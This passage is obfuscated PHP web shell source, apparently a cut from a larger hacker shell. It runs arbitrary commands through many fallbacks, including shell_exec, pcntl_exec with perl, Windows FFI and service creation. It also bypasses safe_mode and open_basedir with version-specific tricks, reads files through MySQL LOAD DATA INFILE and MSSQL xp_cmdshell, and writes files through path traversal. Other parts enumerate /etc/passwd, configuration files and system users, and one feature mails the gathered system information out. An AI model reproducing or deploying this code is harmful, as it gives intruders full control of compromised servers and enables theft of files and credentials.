$tp[] = $t; } if(@isset($_ENV)){ foreach($te as $t){ if(!@empty($_ENV[$t])) $tp[] = @realpath($_ENV[$t]); } } foreach($ti as $t){ if(!@empty($t)) $tp[] = $t; } $b=z9d(@ini_get('open_basedir')); if(@count($b)>0){ foreach($b as $t){ if(!empty($t)) $tp[] = $t; } } $tp[]=@realpath(@dirname(__FILE__)); for($i=0; $i < @count($tp); $i++){ if(!@empty($tp[$i])){ $p=@str_replace('\\', $s, $tp[$i]); if(@substr($p, -1, 1) != $s){ $p .= $s; } if(!@in_array($p, $tmp)){ $f=@md5(@uniqid(@time())); $fp=@fopen($p.$f,"w"); if($fp){ @fclose($fp); if(@file_exists($p.$f)){ @unlink($p.$f); $tmp[] = @trim($p); } } } } } return (@count($tmp)>0) ? $tmp : array("./"); } function z9p($f){ global $nix, $sh_exec; $r=''; if(z7r('fopen')&&z7r('feof')&&z7r('fgets')&&z7r('feof')&&z7r('fclose') && ($fp = @fopen($f, 'r'))!==false){ while(!@feof($fp)){$r .= @fgets($fp);}; @fclose($fp); }elseif(z7r('fopen')&&z7r('fread')&&z7r('fclose')&&z7r('filesize')&&($fp = @fopen($f, 'r'))!==false){ $r = @fread($fp, @filesize($f)); @fclose($fp); }elseif($nix && $sh_exec){ $r=z9t('cat "'.$f.'" 2>/dev/null',0); }elseif(z7r('file')&&($fl = @file($f))){ foreach ($fl as $l) { $r .= $l; } }elseif(z7r('file_get_contents')){ $r = @file_get_contents($f); }elseif(z7r('readfile')){ $r = @readfile($f); }elseif(z7r('highlight_file')){ $r = @highlight_file($f); }elseif(z7r('show_source')){ $r = @show_source($f); } return $r; } function z9o($f,$t=''){ global $tempdir; $s=''; if(!$t) $t=@tempnam($tempdir,"copytemp"); if(@copy("compress.zlib://".$f,$t)){ $s=z9p($t); @unlink($t); } return $s; } function z9y($t,$s=''){ if(z7r('fopen')&&z7r('fwrite')&&z7r('fclose')&&($f=@fopen($t,"wb"))!==false){ @fwrite($f,$s); @fclose($f); }elseif(z7r('fopen')&&z7r('fputs')&&z7r('fclose')&&($f=@fopen($t,"wb"))!==false){ @fputs($f,$s); @fclose($f); }elseif(z7r('file_put_contents')){ return @file_put_contents($t,$s); } else { return 0; } return 1; } function z7r($f){ return (@function_exists($f) && @is_callable($f) && !@in_array($f, z6j())) ? 1 : 0; } function z4r($v) { if($v == '') return 'no value'; if(@is_bool ( $v )) return $value ? 'TRUE' : 'FALSE'; if($v === null) return 'NULL'; if(@is_object($v)) $v =(array) $v; if(@is_array($v)) { @ob_start (); print_r ( $v ); $v = @ob_get_contents (); @ob_end_clean (); } return (string) $v; } function z6l($i){ return (z7r('escapeshellarg')) ? @escapeshellarg($i) : $i; } function z9t($c,$h=1) { $r = ''; if (!empty($c)){ if(z7r('shell_exec')) { $r = @shell_exec($c); } elseif(z7r('system')) { @ob_start(); @system($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif(z7r('passthru')) { @ob_start(); @passthru($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif(z7r('exec')){ @exec($c,$r); $r = @join("\n", $r); } elseif(z7r('popen') && @is_resource($f = @popen($c,"r"))) { if(z7r('fread') && z7r('feof')){ while(!@feof($f)) { $r .= @fread($f,1024); } }elseif(z7r('fgets') && z7r('feof')){ while(!@feof($f)) { $r .= @fgets($f,1024); } } @pclose($f); } elseif(z7r('proc_open') && @is_resource($f = @proc_open($c,array(1 => array("pipe", "w")),$p))) { if(z7r('fread') && z7r('feof')){ while(!@feof($p[1])) {$r .= @fread($p[1], 1024);} }elseif(z7r('fgets') && z7r('feof')){ while(!@feof($p[1])) {$r .= @fgets($p[1], 1024);} } @proc_close($f); } } else { $r = z6v($c); } return ($h?@htmlspecialchars($r):$r); } function z6v($c) { global $win,$tempdir; $r = ''; if (!empty($c)) { if(!$win){ if(extension_loaded('perl')){ @ob_start(); $p=new perl(); $p->eval("system('$c')"); $r = @ob_get_contents(); @ob_end_clean(); }elseif(z7r('pcntl_exec') && z7r('pcntl_fork')) { $r = '[~] Blind Command Execution via [pcntl_exec]\n\n'; $o=$tempdir.uniqid('pcntl'); $pid = @pcntl_fork(); if ($pid == -1) { $r .= '[-] Could not fork. Exit'; } elseif ($pid) { $r .= (@pcntl_wifexited($status) ? '[+] Done! Command "'.$c.'" successfully executed.' : '[-] Error. Incorrect Command.'); } else { $c = array(" -e 'system(\"$c > $o\")'"); if(@pcntl_exec('/usr/bin/perl',$c)) exit(0); if(@pcntl_exec('/usr/local/bin/perl',$c)) exit(0); die(); } $r=z9p($o); @unlink($o); } } else { $o=$tempdir.uniqid('NJ'); if(extension_loaded('ffi')) { $a=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $r=$a->WinExec("cmd.exe /c ".z6l($c)." >\"$o\"",0); while(!@file_exists($o))sleep(1); $r=z9p($o); } elseif(extension_loaded('win32service')) { $s=uniqid('NJ'); @win32_create_service(array('service'=>$s,'display'=>$s,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".z6l($c)." >\"$o\"")); @win32_start_service($s); @win32_stop_service($s); @win32_delete_service($s); while(!@file_exists($o))sleep(1); $r=z9p($o); } elseif(extension_loaded("win32std")) { @win_shell_execute('..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe /c '.z6l($c).' > "'.$o.'"'); while(!@file_exists($o))sleep(1); $r=z9p($o); } else { $a = new COM("WScript.Shell"); $a->Run('c:\\windows\\system32\\cmd.exe /c '.z6l($c).' > "'.$o.'"'); $r=z9p($o); } @unlink($o); } } return $r; } function z10r(){ list($u,$s)=@explode(" ",@microtime()); return ((float)$u+(float)$s); } function z4m($c,$i){ $a=array( '0'=>array('container','login','footer','headnfo','ql','nav','sinfo','tfilter','tahex','phpinfo'), '1'=>array('list1','list2'), '2'=>array('lerror','topcf','topt','topc','tdfooter','tdql','tdsinfo','tdlsh1','tdlsh2','tdlsf','tdlsfn','tdfilter','tdhead','tdph','tdpl','tdlbl','thex1','thex2','thex3','tdlsf1','tdmail'), '3'=>array("scroll","selector","divls","dwidth","barbg","barfil"), '4'=>array('size1','size2','size3','size4','size5','size6','size7','size8','size9','size10'), '5'=>array('links','slinks','button','head','ql1','ql2','but1','but2','but3','fimg','dirlist','filelist','ftactive','ftcompat','ftother','qlback','mbut1','mbut2','actbut'), '6'=>array('console','tgeneric','tedit','txmail','tsql1','tsql2','tinj'), ); return (@isset($a[$i][$c]) ? $a[$i][$c] : ''); } function z6z($a='',$c='',$s=''){ return '
'.$c.'
'; } function z4s($f){ global $filealiases; $r=array(); if(@strstr($f,'/')) $f=z2h($f,'/'); $ext=@strtolower(z2h($f,'.')); foreach($filealiases as $k=>$v){ if(@in_array($ext,$v)) $r[]=$k; } return @array_unique($r); } function z4x($f){ $a=z4s($f); $o=array('code','text'); if(@count($a)>0){ if(@count($a)>1){ foreach($a as $ft){ if(@in_array($ft,$o)) return $ft; } return $a[0]; } else { return $a[0]; } } else { return ''; } } function z3r($s){ if(!@preg_match('/[A-Z]/i', $s)) return $s; $s=@strtolower($s); for($i=0; $i<@strlen($s); $i++){ if(@preg_match('/[a-z]/',$s[$i])){ $s[$i]=@strtoupper($s[$i]); return $s; } } return $s; } function z3u($p) {return @decbin(@hexdec($p));} function z4o($p) {return @dechex(@bindec($p));} function z0l($p){$r='';for($i=0;$i<@strLen($p);$i+=2){$r.=@chr(@hexdec($p[$i].$p[$i+1]));}return $r;} function z1p($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.= @sprintf('%02X',@ord($p[$i]));return @strtoupper($r);} function z0z($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.= "\\x".@sprintf('%02X',@ord($p[$i])); return @chunk_split($r);} function z1t($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.= "\\x".@sprintf('%02X',@ord($p[$i])); return @substr(@preg_replace('/.{1,76}/',"'\\0'.\n",$r),0,-2);return @chunk_split($r);} function z0y($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.= '%'.@dechex(@ord($p[$i]));return @strtoupper($r);} function z4v($i){ return @chunk_split(@base64_encode($i)); } function z3m($i){ return @substr(@preg_replace('/.{1,76}/',"'\\0'.\n",@base64_encode($i)),0,-2); } function z3t($t){ $r=''; if(@preg_match_all('/(?'.@htmlspecialchars($r).'')),'2'); break; case 'web': $url=z8o(); $url_a=@parse_url($url); if(@isset($url_a["host"])){ $host=$url_a["host"]; if(($wwwdir=z3k())!==false){ if(@strstr($d.$f,$wwwdir)!==false){ $link="http://".$host."/".@substr($d.$f, @strlen($wwwdir)); echo z10e(z9f(z6x('')).z5n(),'2'); } } } break; case 'html': if(@isset($white)&&$white){ @ob_clean(); echo $r; @exit(); } else { echo z10e(z9f(z6x('')).z5n(),'2'); } break; case 'htmls': if(@isset($white)&&$white){ $r=@preg_replace('#\b(on(?]{1,1000}))(?(2)\\2|)#i','',$r); $r=@preg_replace('#(|<[/]*noscript>|)#is','',$r); $r=@preg_replace('#\b(href(?'.z9s("471").'')).z5n(),'2'); } break; case 'code': echo z6z('','2').z7p().z6w(); z1x($r,$ext); echo z7g().z7u().z10w(); break; case 'exe': if(!@isset($ecmd)){ $ext=z2h($f,'.'); $ecmd=$d.$f; foreach($execaliases as $ek=>$ev){ if(@in_array(@strtolower($ext),$ev)){ $ecmd=@str_replace("%f%",$ecmd,$ek); break; } } } echo z5c(array("act"=>"f","ft"=>"exe","d","f","exec"=>"1"),z10e( z5n(). z7i(z6x(z8e(z9s("120")).z5u('ecmd','',"9").z8v(z9s("99"),"7"))). z5n() ,"2")); if(@isset($exec)&&$exec&&!@empty($ecmd)){ echo z9m("2").z6g().z6w().z5w('',"1"); $res=z9t($ecmd); echo $res; echo z5q().z7g().z7u().z5n().z10w(); } break; case 'sess': echo z6z('','2').z7p().z6w().'
'; $e=@explode('|',$r); echo $e[0].z9x(); @var_dump(@unserialize($e[1])); echo ''; echo ''.z7g().z7u().z10w(); break; case 'ini': echo z6z('','2').z7p().z6w().'
'; @var_dump(@parse_ini_file($d.$f,true)); echo ''.z7g().z7u().z10w(); break; case 'sdb': echo z6z('','2').z7p().z6w().'
'; @var_dump(@unserialize(@base64_decode($r))); echo ''.z7g().z7u().z10w(); break; case 'img': if(!@isset($is)) $is=50; $inf=@getimagesize($d.$f); if(@isset($inf[0]) && @isset($inf[1]) && @isset($inf['mime'])){ $w=$inf[0]/100*$is; $h=$inf[1]/100*$is; $mime=$inf["mime"]; } else { $w=$h=$t=''; if(@preg_match('/(jpg|jpeg|gif|png)/i', $r, $m)) $t = ($m[1] === 'jpeg') ? 'jpg' : $m[1]; $mime='image/'.@strtolower($t); } if(!@isset($white)||!$white){ echo z5x("center").z9x(); if($w!=''){ foreach(array('20','50','100','150','200') as $v) echo z5c(array('act'=>'f','d','f','ft'=>'img','is'=>$v),z8v($v.'%',($is==$v?'17':'16'))); } echo z9x(2).''.z5j().z9x(2); }else{ @ob_clean(); @header("Content-type: ".$mime); echo $r; exit(); } break; case 'hex': if(!@isset($hexdump_type)) $hexdump_type=''; if($hexdump_type=="full"){ $str=$r; }else{ $str=@substr($r,0,16*24); } $n=0; $a0=$a1=$a2=''; $ofs=0; $len=@strlen($str); for($i=0;$i<$len;$i++){ $a1.=@sprintf('%02X',@ord($str[$i])).z9c(); if(@ord($str[$i])==0){ $a2.=z5i("0"); } elseif(@ord($str[$i])>=0x20 && @ord($str[$i])<=0x7E){ $a2.= @htmlspecialchars($str[$i]); } else { $a2 .= "."; } $n++; if($n==24||($i+1==$len&&!@is_int($len/24))){ $n=0; $a0.=@sprintf('%08X',$ofs).z9x(); $a1.=z9x(); $a2.=z9x(); $ofs+=24; } } echo z10e(z9f(z6x(z10e(z7i(z9j($a0,'16').z9j($a1,'17').z9j($a2,'18')),'8').z10e(z9f(z7e(z5c(array('act'=>'f','d','f','ft','hexdump_type'=>($hexdump_type=='full'?'preview':'full')),z8v(($hexdump_type=='full'?z9s("122"):z9s("121")),'7')))),'8'))),'2'); break; case 'download': @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit(); break; default: break; } } else { if(!@isset($loadb)) $loadb=0; $rbut=z5c($back_form_actions,z8v(z9s("470"),"7")); if(@empty($f)){ echo z2b(z9s("469").$fmsg.z9c(5).$rbut); } else { switch($ft){ case 'new': if(!z4q($d.$f)&&z4j($d)&&!z0v($d)){ $loadb=1; } elseif(!z4q($d.$f)){ $loadb=1; } elseif(z4q($d.$f)&&z4j($d.$f)){ echo z2b(z9s("468",$d.$f).z9c(5).$rbut); } elseif(z4q($f)&&z4j($f)){ echo z2b(z9s("468",$f).z9c(5).$rbut); } break; default: if(z4q($d.$f)&&z4j($d.$f)){ echo z2b(z9s("468",$d.$f).z9c(5).$rbut); } elseif(z4q($f)&&z4j($f)){ echo z2b(z9s("468",$f).z9c(5).$rbut); } elseif(!z4q($d.$f)&&z4j($d) && z0v($d) && @strpos($f,"/")===false){ echo z2b(z10e(z7i(z9j(z8e(z9s("466",$d.$f)).z5c(array("act"=>"f","d","f","ft"=>"new"),z8v(z9s("195"),"7")).$rbut)),"2")); } else { $loadb=1; } break; } } if($loadb){ z1q($d.$f); $rf_arr=$sqlrf_arr=$wf_arr=array(); $rf_arr["include"]="include (safe_mode)"; if($bcurl&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["curl"]="curl (open_basedir / PHP <= 4.4.2, 5.1.4)"; if(!$win&&z7r('mb_send_mail')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["mb_send_mail"]="mb_send_mail (safe_mode / PHP <= 4.0-4.2.2, 5.x)"; if(z7r('imap_open')&&z7r('imap_body')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["imap_body"]="imap_body (safe_mode on PHP <= 5.1.2)"; if(z7r('ini_restore')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["ini_restore"]="ini_restore (safe_mode / PHP <= 4.4.4, 5.1.6) by NST"; if(z7r('copy')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["zlib"]="copy[compress.zlib://] (safe_mode / PHP <= 4.4.2, 5.1.2)"; if($bmysql) $sqlrf_arr["mysql"]="mysql (safe_mode)"; if($bmssql) $sqlrf_arr["mssql"]="mssql (safe_mode)"; if(z7r('error_log')&&@version_compare(@phpversion(),"5.2.2")<=0) $wf_arr["error_log"]="error_log[php://] (open_basedir / PHP <= 5.1.4, 4.4.2)"; if(z7r('readfile')&&@version_compare(@phpversion(),"5.2.2")<=0) $wf_arr["readfile"]="readfile[php://] (open_basedir / PHP <= 5.2.1, 4.4.4)"; if(@version_compare(@phpversion(),"5.2.4")<=0) $wf_arr["fopen"]="fopen[srpath://] (open_basedir / PHP v5.2.0)"; if(@count($rf_arr)>0){ echo z2b(z9s("128")); echo z6d(); echo z5c(array("act"=>"f","d","f"=>(@isset($readfile)?$readfile:$d.$f),"ft"=>"functions","submit1"=>"1"),z10e(z7i(z5t(z9s("129")).z9j(z6i("readfile",(@isset($readfile)?$readfile:$d.$f),"0","","9").z4a("readfile_func",$rf_arr,"5",1).z8v(z9s("130"),"7"))),"2")); if(@isset($submit1)&&$submit1&&@isset($readfile)&&!@empty($readfile)){ echo z9m("2").z7p().z5t(z9c()).z7k(); switch($readfile_func){ case 'include': echo z5w('','1'); @include ($readfile); echo z5q(); break; case 'curl': echo z5w('','1'); $ci=@curl_init("file://".$readfile); $cf=@curl_exec($ci); echo @htmlspecialchars($cf); echo z5q(); break; case 'mb_send_mail': echo z5w('','1'); $temp=tempnam($d,"fname"); if(@file_exists($temp)) @unlink($temp); $extra="-C ".$readfile." -X $temp"; @mb_send_mail(NULL,NULL,NULL,NULL,$extra); $str=z9p($temp); echo @htmlspecialchars($str); echo z5q(); @unlink($temp); break; case 'imap_body': echo z5w('','1'); $stream=@imap_open($readfile,"",""); $str=@imap_body($stream,1); echo @htmlspecialchars($str); @imap_close($stream); echo z5q(); break; case 'ini_restore': @ini_restore("safe_mode"); @ini_restore("open_basedir"); $str=z9p($readfile); echo z5w('','1').@htmlspecialchars($str).z5q(); break; case 'zlib': $str=z9o($readfile); echo z5w('','1').@htmlspecialchars($str).z5q(); break; } echo z7g().z7u().z10w(); } echo z6d(); } if(@count($sqlrf_arr)>0){ echo z2b(z9s("131")); echo z6d(); echo z5c(array("act"=>"f","d","f"=>(@isset($readfile)?$readfile:$d.$f),"ft"=>"functions","submit2"=>"1"),z10e(z7i(z5t(z9s("129")).z9j(z6i("readfile",(@isset($readfile)?$readfile:$d.$f),"0","","9").z4a("sqlreadfile_func",$sqlrf_arr,"5",1).z8v(z9s("130"),"7"))). z7i(z5t(z9s("132")).z9j(z5u("sqluser","root","4","","9").z9c(2).z8e(z9s("133")).z5u("sqlpass","","4").z9c(2).z8e(z9s("134")).z5u("sqlport","3306","1").z9c(2).z8e(z9s("135")).z5u("sqldb","mysql","4"))),"2")); if(@isset($submit2)&&$submit2&&@isset($readfile)&&!@empty($readfile)&&@isset($sqluser)&&@isset($sqlpass)&&@isset($sqlport)&&@isset($sqldb)){ echo z9m("2").z7p().z5t(z9c()).z7k(); switch($sqlreadfile_func){ case 'mysql': echo z5w('','1'); if(@empty($sqlport)) $sqlport="3306"; $db=@mysql_connect('localhost:'.$sqlport,$sqluser,$sqlpass); if($db){ if(@mysql_select_db($sqldb,$db)){ @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); @mysql_query("CREATE TABLE `temp_mysql_readfile_table` ( `file` LONGBLOB NOT NULL )"); @mysql_query("LOAD DATA INFILE \"".$readfile."\" INTO TABLE temp_mysql_readfile_table"); $r=@mysql_query("SELECT * FROM temp_mysql_readfile_table"); while(($r_sql=@mysql_fetch_array($r))!==false){ echo @htmlspecialchars($r_sql[0])."\r\n"; } @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); }else echo z9s("136"); @mysql_close($db); }else echo z9s("137","MySQL"); echo z5q(); break; case 'mssql': echo z5w('','1'); if(@empty($sqlport)) $sqlport="1433"; $db=@mssql_connect('localhost,'.$sqlport,$sqluser,$sqlpass); if($db){ if(@mssql_select_db($sqldb,$db)){ @mssql_query("drop table mssql_readfile_temp_table",$db); @mssql_query("create table mssql_readfile_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into mssql_readfile_temp_table EXEC master.dbo.xp_cmdshell '".$readfile."'",$db); $res=@mssql_query("select * from mssql_readfile_temp_table",$db); while(($row=@mssql_fetch_row($res))!==false){ echo @htmlspecialchars($row[0])."\r\n"; } @mssql_query("drop table mssql_readfile_temp_table",$db); }else echo z9s("136"); @mssql_close($db); }else echo z9s("137","MsSQL"); echo z5q(); break; } echo z7g().z7u().z10w(); } echo z6d(); } if(@count($wf_arr)>0){ echo z2b(z9s("138")); echo z6d(); echo z5c(array("act"=>"f","d","f"=>(@isset($writefile)?$writefile:$d.$f),"ft"=>"functions","submit3"=>"1"), z10e( z7i(z5t(z9s("139")).z9j(z5u("writefile",$d.$f,"0","","9").z4a("writefile_func",$wf_arr,"5",1).z8v(z9s("141"),"7"))). z7i(z5t(z9s("140")).z9j(z5w("writecontent","1").(@isset($writecontent)?@htmlspecialchars($writecontent):' phpinfo(); ?>').z5q())),"2")); if(@isset($submit3)&&$submit3&&@isset($writefile)&&!@empty($writefile)){ echo z9m("2").z6g().z5t(z9c()).z7k(); switch($writefile_func){ case 'error_log': @error_log($writecontent,3,"php://../../../../../../../../../../../".$writefile); if(z4q($writefile)) echo z9s("243"); break; case 'readfile': @readfile($writecontent,3,"php://../../../../../../../../../../../".$writefile); if(z4q($writefile)) echo z9s("243"); break; break; case 'fopen': if($fp=@fopen('srpath://../../../../../../../../../../../'.$writefile,"a")){ @fputs($fp,$writecontent); @fclose($fp); echo z9s("243"); } break; default: break; } echo z7g().z7u().z10w(); } echo z6d(); } } } } if($act=='search'){ $ftarget=1; $fullpath=1; if(!@isset($s_in)||@empty($s_in)) $s_in=$d; if(!@isset($sn)||@empty($sn)){ $sn="(.*)"; $sn_reg=1; } if(!@isset($sn_reg)) $sn_reg=''; if(!@isset($st)) $st=''; if(!@isset($st_reg)) $st_reg=''; if(!@isset($st_wwo)) $st_wwo=''; if(!@isset($st_cs)) $st_cs=''; if(!@isset($st_not)) $st_not=''; if(!@isset($s_fd)) $s_fd=''; if(!@isset($s_rec)) $s_rec='1'; if(!@isset($find_text)||@empty($find_text)) $find_text="text"; if(!@isset($find_in_dir)||@empty($find_in_dir)) $find_in_dir=$d; if(!@isset($find_in_files)||@empty($find_in_files)) $find_in_files="*.php;*.txt"; z0d(); if(@isset($submit)&&$submit){ $found=array(); $found_d=0; $found_f=0; $search_i_f=0; $search_i_d=0; $ar=array("sn"=>$sn, "sn_reg"=>$sn_reg, "st"=>$st, "st_reg"=>$st_reg, "st_wwo"=>$st_wwo, "st_cs"=>$st_cs, "st_not"=>$st_not, "s_fd"=>$s_fd); $in=@array_unique(@explode(";",$s_in)); foreach($in as $v){ $sdir=$v; z5f($v); } if(@count($found)==0){ echo z2b(z9s("160")); }else{ $nolsmenu=1; $nohead=1; $ls_a=$found; $act="ls"; } } } if($act=='cmd'){ $st_a=array(''=>'-',' 2>&1'=>'2>&1'); echo z2b( z10e( z7i( z6x( z8e(z9s("180")).z9l('','command').z3e(array('act'=>'cmd','d','cmdsubmit'=>'1')).z6i('cmd','','0').($nix?z4a('stderr',$st_a,'1','1'):'').z8v('»','7').z9z() ,'','2'). z6x( z8e(z9s("181")).z5c(array('act'=>'cmd','d','cmdsubmit'=>'1'),z2u('scmd',($win?$winaliases:$nixaliases),'0','1').($nix?z4a('stderr',$st_a,'1','1'):'').z8v('»','7')) ,'') ) ,'2')); echo z9m('2').z6g().z6w().z5w('','0',1); if(@isset($cmdsubmit)&&$cmdsubmit){ echo z9t((@isset($cmd)?(@isset($stderr)?$cmd.$stderr:$cmd):(@isset($stderr)?$scmd.$stderr:$scmd))); } echo z5q().z7g().z7u().z10w(); } if($act=='phpinfo'){ $piarr=z0b(1); $h=0; foreach($piarr as $k=>$v){ echo z2b(@strtoupper($k)); echo z9m('2'); $i=0; foreach($v as $a=>$b){ if(@is_string($b)){ echo z9f(z9j($a,'14','25').z9j($b,'14'),($i%2?'0':'1')); $i++; } } $h++; echo z10w(); } } if($act=='sysinfo'){ $g_arr=array(); $date=@date("D M j G:i:s T Y"); $users=array(); if($bpasswd) $users=z6m(1); $distro=z1n(); $uptime=($nix&&$sh_exec)?z9t("uptime"):''; $system=$host=$kernel=""; $sys=(($nix&&$sh_exec)?z9t("uname -a"):(z7r('php_uname')?@php_uname("a"):' ')); if($nix) @list($system, $host, $kernel,) = @explode(" ", $sys); if(!@empty($sys)) $g_arr[]=array("System",$sys,$sys); if(!@empty($system)&&!@empty($kernel)) $g_arr[]=array((($linux)?"Kernel":"Version"),$system." ".$kernel,$system." ".$kernel); if(!@empty($distro)) $g_arr[]=array("Distro name",$distro,nl2br($distro)); $idu=""; if($nix&&$sh_exec){ $idu=z9t("id"); $eid=@explode(" ",$idu); if(@count($eid)>=2) $idu=$eid[0]." ".$eid[1]; } if(!@empty($idu)) $g_arr[]=array("User id",$idu,$idu); if(!@empty($uptime)) $g_arr[]=array("Uptime",$uptime,$uptime); if(!@empty($date)) $g_arr[]=array("Local time",$date,$date); $g_arr[]=array("CPU info",z3f(),z3f()); $mem=z5a(); $g_arr[]=array("RAM info",$mem[0][1],$mem[0][0].$mem[0][1]); if($nix) $g_arr[]=array("RAM buffered",$mem[1][1],$mem[1][0].$mem[1][1]); if($nix) $g_arr[]=array("Swap",$mem[2][1],$mem[2][0].$mem[2][1]); $disk=z9e(); if(@count($disk)>1||!@isset($disk[0][0])){ foreach($disk as $dd=>$inf){ $g_arr[]=array("Space on ".$dd,$inf[1],$inf[0].$inf[1]); } }else{ $g_arr[]=array("Disk space",$disk[0][1],$disk[0][0].$disk[0][1]); } if(!@empty($host)){ $host .= " (".@gethostbyname($host).") "; } if(@preg_match('/^\d\.\d\.\d\.\d$/',$saddr)){ $host .= $saddr; } else { $host.= $saddr." (".@gethostbyname($saddr).")"; } $g_arr[]=array("Hostname",$host,$host); if(@count($users)>0){ if(@isset($viewusers)&&$viewusers){ $pusers=''; foreach($users as $uarr){ $pusers .= z5c(array("act"=>"ls","d"=>$uarr[1]),z8v($uarr[0],"1"),1).z9c()." "; } } else { $pusers=@count($users)." users on this box.".z9c().z5c(array("act"=>"sysinfo","d","viewusers"=>"1"),z8v("View","1")); } $g_arr[]=array("System users","",$pusers); } if(@count($g_arr)>0){ echo z2b(z9s("479")); echo z9m('2'); for($i=0;$i<@count($g_arr);$i++){ echo z9f(z9j($g_arr[$i][0],"14","25").z9j($g_arr[$i][2],"14","3"),($i%2?'0':'1')); } echo z10w(); } $bsmed=z8l("safe_mode_exec_dir"); $psmed=(($bsmed)?@ini_get("safe_mode_exec_dir"):"NONE"); $bsmid=z8l("safe_mode_include_dir"); $psmid=(($bsmid)?@ini_get("safe_mode_include_dir"):"NONE"); $opendirs=""; if($bopendir){ foreach(z9d(@ini_get("open_basedir")) as $od){ $opendirs .= z5c(array("act"=>"ls","d"=>$od),z8v($od,"1"),1).z9c()." "; } } $dfnc=z6j(); if(@count($dfnc)>0){ $ndfnc=@implode(" ", $dfnc); $pdfnc=""; foreach($dfnc as $fnc) $pdfnc .= z10y('http://php.net/manual/en/function.'.@str_replace("_","-",$fnc).'.php',$fnc,"1",1).z9c()." "; } else { $ndfnc="NONE"; $pdfnc=z5i("NONE"); } $p_arr=array(); $p_arr[]=array("PHP Version",@phpversion(),@phpversion().z9c().z5c(array("act"=>"phpinfo","d"),z8v("PHP Info","1"))); $p_arr[]=array("Open Basedir",(($bopendir)?@ini_get("open_basedir"):"NONE"),(($bopendir)?$opendirs:z5i("NONE"))); $p_arr[]=array("Safe-mode",(($bsafe)?"ON":"OFF"),($bsafe?z8z("ON"):z5i("OFF"))); if($bsafe){ $p_arr[]=array("Safe-mode exec dir",$psmed,(($bsmed)?z5i($psmed):z8z($psmed))); $p_arr[]=array("Safe-mode include dir",$psmid,(($bsmid)?z5i($psmid):z8z($psmid))); } foreach(array("register_globals","allow_url_fopen","allow_url_include","memory_limit","file_uploads","upload_tmp_dir","upload_max_filesize","post_max_size","magic_quotes_gpc") as $ini){ $p_arr[]=array(z3r(@str_replace("_"," ",$ini)),z4r(@ini_get($ini)),z4r(@ini_get($ini))); } $p_arr[]=array("Disabled Functions",$ndfnc,$pdfnc); if(@count($p_arr)>0){ echo z2b(z9s("480")); echo z9m('2'); for($i=0;$i<@count($p_arr);$i++){ echo z9f(z9j($p_arr[$i][0],"14","25").z9j($p_arr[$i][2],"14","3"),($i%2?'0':'1')); } echo z10w(); } if($nix){ $o_arr=array(); $tmp=$tmpp=''; foreach(array("/etc/"=>array("passwd","hosts","modules","fstab","issue","issue.net","motd"),"/proc/"=>array("cpuinfo","meminfo","version","interrupts")) as $ed=>$af){ foreach($af as $ef){ if(z4q($ed.$ef)&&z0n($ed.$ef)){ $tmp .= $ed.$ef." "; $tmpp .= z5c(array("act"=>"f","d"=>$ed,"f"=>$ef,"ft"=>"text"),z8v($ef,"1"),1).z9c()." "; } } } if(!@empty($tmp)) $o_arr[]=array(z9s("482"),$tmp,$tmpp); $tmp=$tmpp=''; foreach(array("/etc/"=>array("syslog.conf","syslogd.conf","rsyslog.conf","resolv.conf","httpd.conf","apache2.conf","apache.conf","apache2/apache.conf","proftpd.conf","proftpd.conf","inetd.conf"),"/etc/apache2/"=>array("httpd.conf","apache2.conf"),"/etc/proftpd/"=>array("proftpd.conf")) as $ed=>$af){ foreach($af as $ef){ if(z4q($ed.$ef)&&z0n($ed.$ef)){ $tmp .= $ed.$ef." "; $tmpp .= z5c(array("act"=>"f","d"=>$ed,"f"=>$ef,"ft"=>"text"),z8v($ef,"1"),1).z9c()." "; } } } if(!@empty($tmp)) $o_arr[]=array(z9s("483"),$tmp,$tmpp); $tmp=$tmpp=''; foreach(array("curl","fetch","links","lynx","GET","w3m","wget") as $ef){ $ff=z8u($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5c(array("act"=>"f","d"=>z3p($ff),"f"=>z2h($ff)),z8v(z2h($ef),"1"),1).z9c()." "; } } $tmp=$tmpp=''; foreach(array("gcc","cc","c++","g++","nasm","ld","make","cmake") as $ef){ $ff=z8u($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5c(array("act"=>"f","d"=>z3p($ff),"f"=>z2h($ff)),z8v(z2h($ef),"1"),1).z9c()." "; } } if(!@empty($tmp)) $o_arr[]=array(z9s("484"),$tmp,$tmpp); $tmp=$tmpp=''; foreach(array("perl","python","php","ruby","tcl") as $ef){ $ff=z8u($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5c(array("act"=>"f","d"=>z3p($ff),"f"=>z2h($ff)),z8v(z2h($ef),"1"),1).z9c()." "; } } if(!@empty($tmp)) $o_arr[]=array(z9s("485"),$tmp,$tmpp); if(@count($o_arr)>0){ echo z2b(z9s("481")); echo z9m('2'); for($i=0;$i<@count($o_arr);$i++){ echo z9f(z9j($o_arr[$i][0],"14","25").z9j($o_arr[$i][2],"14","3"),($i%2?'0':'1')); } echo z10w(); } } if($bmail){ $emsg=''; $msg=''; if(@isset($sendlog)&&$sendlog&&@isset($sysmail)&&!@empty($sysmail)){ $line=@str_repeat("-",100)."\r\n"; if(@count($g_arr)>0){ $msg.=$line.z9s("479")."\r\n".$line; for($i=0;$i<@count($g_arr);$i++){ if(!@empty($g_arr[$i][1])) $msg .= $g_arr[$i][0]." : ".$g_arr[$i][1]."\r\n"; } } if(@count($p_arr)>0){ $msg.=$line.z9s("480")."\n".$line; 